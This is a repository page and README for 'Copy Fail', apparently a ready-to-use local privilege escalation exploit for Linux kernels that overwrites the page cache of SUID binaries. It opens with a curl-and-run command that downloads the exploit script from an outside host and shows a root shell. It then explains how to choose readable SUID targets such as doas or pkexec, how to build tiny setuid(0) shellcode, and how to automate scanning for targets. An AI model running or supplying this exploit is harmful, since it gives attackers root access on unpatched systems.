- Assembly 45.4%
- Makefile 31%
- Python 23.6%
| .gitignore | new elf payload | |
| encode.py | feat: build final poc script | |
| main.arm64.s | feat: optimize binaries more | |
| main.x64.asm | feat: optimize binaries more | |
| main.x86.asm | feat: optimize binaries more | |
| Makefile | style(build): use simply-expanded vars | |
| poc.tmpl.py | feat: build final poc script | |
| README.md | docs: add readme | |
Copy Fail
TL;DR
$ curl https://git.dc09.xyz/DarkCat09/copyfail/releases/download/v1.0.0/poc.x86.py >poc.py
$ python3 poc.py
# id
uid=0(root) ...
Description
Copy Fail is a Local Privilege Escalation vulnerability in the Linux cryptography subsystem present in kernel versions from 4.14 to 6.18.22/6.19.12. It was found by Theori researchers with the help of Xint Code.
See the detailed write-up here
This vulnerability allows to overwrite page cache (in-memory file cache).
Particularly, we're interested in modifying the contents of a binary with SUID bit set,
e. g. /usr/bin/su.
But the original PoC doesn't work at least on Alpine Linux and NixOS. Why?
Problem
- The exploit requires the target SUID binary to be readable by the current user.
Some distros are more concerned about security than others, so they (long before Copy Fail was published) madesuexecutable but not readable — it's permissions are--s--x--x.
PoC script fails withPermission denied. - The embedded shellcode of the PoC, an x86-64 static ELF, calls
/bin/shwithout any arguments (argvis set toNULL), soshdoes not get even the 0th argument that should contain the binary path.
Alpine'sshis a symlink to Busybox. Busybox readsargv[0]to distinguish which applet to run by looking at the executed binary name.
PoC script fails to run a shell with a message:: applet not found.
Solution
- Find a different SUID program that is readable.
By default,
su,passwdandmountare all provided by Busybox and symlinked tobbsuid, which makes it impossible to run an exploit against these binaries.
If either doas, sudo or polkit is installed on the target system,/usr/bin/doas,sudoorpkexec(respectively) can be used to exploit Copy Fail. For some reason, these third-party packages are not secured the same way as bbsuid and the listed binaries are readable to anyone.
If shadow is installed on the target system,/usr/bin/passwd,chshorchfncan be used to exploit Copy Fail. - Replace the embedded shellcode.
This is not a trivial task since the exploit requires a very small binary,
because we're overwriting the page cache by 4-byte chunks,
opening a new
AF_ALGsocket every time, so even an 8K file hits ulimit.
I, as a non-expert in the infosec, can't write shellcode by hand, but can reimplement the logic in Assembler without using any C runtime, doing syscalls directly. And, indeed, that reduced the binary size to only 800 bytes (but only when using LLVM's LLD as a linker).
Note: we can't just put a shell script here, like#!/bin/sh\nsh -i, because SUID bit gives an Effective UID of an owner, but not a Real UID, and, for security reasons, any shell including ash and bash, drop root privileges in such case. That's why the provided shellcode callssetuid(0)first.
Ready script
Fixed PoC script is published here:
/usr/bin/doas is hard-coded as a target SUID binary. Replace if needed.
Ideally, in case you are writing an automated script, you should scan a system
for readable SUID programs and run the exploit on them.
To restore the overwritten program, run echo 3 >/proc/sys/vm/drop_caches as root.